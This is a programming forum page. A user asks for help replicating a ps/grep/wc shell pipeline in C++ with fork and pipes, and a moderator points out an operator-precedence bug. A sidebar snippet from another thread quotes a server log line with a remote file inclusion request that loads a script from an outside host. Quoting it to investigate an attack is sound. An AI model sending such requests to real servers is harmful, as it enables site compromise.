473,698 Members | 2,602 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Replicate in C++, in Unix, this command: ps -A | grep argv[1] | wc -l

1 New Member
Hi,

I'm in unix trying to code a c++ program to replicate this command:

ps -A | grep argv[1] | wc -l.

Here is what I have, which doesn't work, and I'm totally lost. Can anyone please help me ? !!!!!!!!!!!!!!! !!!!!!!!!!!!!!! !!!!!!

#include <iostream>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>


using namespace std;

int main(int argc, char *argv[])
{
int pid,pid1,pid2;
int a[2];
int rv;
pipe(a);


if ((pid = fork() == 0))
{

if ((pid1 = fork() == 0))
{

dup2(a[1],1);
close(a[1]);
close(a[0]);

if ((pid2 = fork()) == 0)
{

dup2(a[1],1);
close(a[1]);
close(a[0]);
execlp("/bin/ps","ps","-A",NULL);
}
else
{
dup2(a[0],0);

close(a[1]);
close(a[0]);
execlp("/bin/grep" , "grep" ,argv[1], NULL );
}

}
cout << "back to child" << endl;
execlp("/usr/bin/wc" , "wc" , "-l", NULL );
}
else
{
wait(&rv);
}


return 0;
}
Jan 17 '10 #1
1 5075
weaknessforcats
9,208 Recognized Expert Moderator Expert
Expand|Select|Wrap|Line Numbers
  1. if ((pid = fork() == 0))              <<?
  2. {
  3.  
  4. if ((pid1 = fork() == 0))             <<?
  5. {
  6.  
  7. etc...
  8.  
  9. if ((pid2 = fork()) == 0)
  10. {
I didn't look at the logic butin the fist two cases, the == operator will execute first due to its higher precedance than the = operator.

The last case looks right.
Jan 17 '10 #2

Sign in to post your reply or Sign up for a free account.

Similar topics

5
3449
by: hue | last post by:
I am trying to parse command line options using getopt module. I have written the following Code import string import getopt def usage(): print '''haarp_make.py -- uses getopt to recognize options
4
4057
by: rkoida | last post by:
Hello evryone I am a newbie to python. I have a makefile which i can compile in UNIX/LINUX, But i I am planning to write a python script which actually does what my MAKEFILE does. The make file is #Makefile and some scripts to give output #numbers #Change till sign #END
22
3064
by: Ryan M | last post by:
I've been programming for a while, but most of my experience is on unix. How do C compilers work on operating systems that weren't written in C? And that have no libc? Compiling C on unix seems so easy. Everything in the code either goes right to machine code, or links to a C library (often libc) or links to the kernel. Are there libc equivalents on non-unix OSes? -- Using M2, Opera's revolutionary e-mail client:...
2
4190
by: SunRise | last post by:
Hi I am creating a C Program , to extract only-Printable-characters from a file ( any type of file) and display them. OS: Windows-XP Ple help me to fix the Errors & Warnings and explain how to use Command-Line Arguments inside C program.
0
1668
by: niket patel | last post by:
Hi There is a unix server and and we access unix and perform its commond using exceed or ftp through dos. Now i want to create an application in Visual Studio C#.Net 2003 such that i can create an interface and from that i can connect to unix and then perform some unix command through my code. Say for example : There is one file abc.csv. on unix server.and other list of directories. Now if i want to do "ls -l" or "grep -i" command from...
4
10623
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
9
14199
by: niteck07 | last post by:
I am using following shell script to ftp files to another server but this is failing as the shell script changes the user name for the ftp login the correct user name is 'ag\invprint' which the script is fetching from a file using grep command but the ftp log says the script is trying to logon as user 'aginvprint' Looks like the script is removing the character '\' when trying to ftp Can someone please help and let me know how to...
1
3562
by: jazon | last post by:
Let me start by saying this for an Operating Systems class. No, I don't expect the work to be done for me. The assignment is as follows: To be honest, I feel like a fish out of water, like many of the others in the class. We haven't been exposed to any Unix and the professor hasn't, yet, said much more than the book, which is no help at this point. From what I've figured out and what I've blindly seen on the net and hoped would...
1
1880
by: andrewkl | last post by:
hi, I wrote a C program (runas.c) that runs a command as a different user on Solaris 8. The problem I'm having is that the new user's group memberships aren't going into effect. Take the following scenario: I login as "kirk". I need to run some commands as "spock". kirk and spock belong to these Unix groups: $ groups kirk spock
13
10122
by: Anton Slesarev | last post by:
I've read great paper about generators: http://www.dabeaz.com/generators/index.html Author say that it's easy to write analog of common linux tools such as awk,grep etc. He say that performance could be even better. But I have some problem with writing performance grep analog. It's my script:
0
8680
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
8609
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
9030
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
1
8899
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
8871
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
7738
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
1
6528
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
4371
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
4622
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.